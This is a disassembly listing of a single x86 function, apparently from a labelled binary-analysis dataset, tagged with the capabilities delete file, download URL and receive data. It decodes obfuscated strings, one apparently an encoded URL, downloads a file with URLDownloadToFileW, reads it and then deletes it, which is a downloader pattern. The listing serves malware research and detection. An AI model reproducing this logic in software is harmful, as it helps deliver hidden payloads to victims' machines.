Function at 0x407090
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448aad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], ecx
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4074bc
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push 0x454b10
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call fcn.00403560
test al, al
jne 0x4070f5
push 0x10
push 0x454b10
lea ecx, [ebp - 0x1c]
call fcn.004039e0
mov dword [ebp - 4], 1
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4074c6
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.ZWNyXWdscXJwc2FyZ21scQ
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.00403560
test al, al
jne 0x40713a
push 0x18
push str.ZWNyXWdscXJwc2FyZ21scQ
lea ecx, [ebp - 0x18]
call fcn.004039e0
mov byte [ebp - 4], 3
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4074d0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.ZnJybnE4LS1uYV9ubnFybXBjLHExLF9rX3htbF91cSxhbWstdGNwcWdtbA
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 4
call fcn.00403560
test al, al
jne 0x40717c
push 0x3c
push str.ZnJybnE4LS1uYV9ubnFybXBjLHExLF9rX3htbF91cSxhbWstdGNwcWdtbA
lea ecx, [ebp - 0x20]
call fcn.004039e0
push ecx
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x453bbe
call fcn.00402d60
push ecx
mov byte [ebp - 4], 6
mov edi, esp
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], eax
call fcn.004037f0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov byte [ebp - 4], 7
mov edi, esp
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.004037f0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 5
call fcn.004068f0
add esp, 0xc
call fcn.004015f0
test eax, eax
je 0x4074bc
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 0x454be4
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 8
call fcn.00403560
test al, al
jne 0x407231
push 0
push 0x454be4
lea ecx, [ebp - 0x10]
call fcn.004039e0
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x14]
call fcn.00405380
add esp, 4
mov byte [ebp - 4], 0xb
or ebx, 0xffffffff
mov edx, dword [ebp - 0x10]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407265
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push 0
push dword [ebp - 0x14]
push ecx
mov esi, esp
mov dword [ebp - 0x24], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
mov dword [ebp - 0x10], edi
call fcn.004037f0
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [ebp - 0x24]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4072b8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x407373
push 0x454be8
push dword [ebp - 0x14]
call fcn.0042def2
mov esi, eax
add esp, 8
test esi, esi
je 0x407365
mov edx, esi
lea ecx, [ebp - 0x24]
call fcn.00406e50
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x24]
cmp dword [ecx - 0xc], 0
je 0x40733e
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
push eax
call fcn.00409e70
mov edx, esi
lea ecx, [ebp - 0x10]
call fcn.00406e50
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x10]
cmp dword [eax - 0xc], 0
je 0x407323
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x10]
push eax
call fcn.00409e70
mov eax, dword [ebp - 0x10]
lea edx, [eax - 0x10]
mov byte [ebp - 4], 0xc
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40733e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
call fcn.0042d279
mov byte [ebp - 4], 0xb
add esp, 4
mov edx, dword [ebp - 0x24]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407365
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40743e
call fcn.004015f0
test eax, eax
je 0x4074bc
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x454bec
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xe
call fcn.00403560
test al, al
jne 0x4073b1
push 0x18
push 0x454bec
lea ecx, [ebp - 0x24]
call fcn.004039e0
push ecx
mov byte [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0x2c], esp
push 0x453bbf
call fcn.00402d60
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
call fcn.004037f0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
mov byte [ebp - 4], 0x11
push ecx
mov ecx, dword [ebp - 0x28]
mov esi, esp
mov dword [ebp - 0x3c], esi
call fcn.004037f0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0xf
call fcn.004068f0
mov edx, dword [ebp - 0x30]
add esp, 0xc
mov byte [ebp - 4], 0xb
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40743b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x10]
mov byte [ebp - 4], 5
mov eax, ebx
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40745c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 3
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x407474
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, ebx
mov byte [ebp - 4], 1
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40748f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x4074ab
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
int3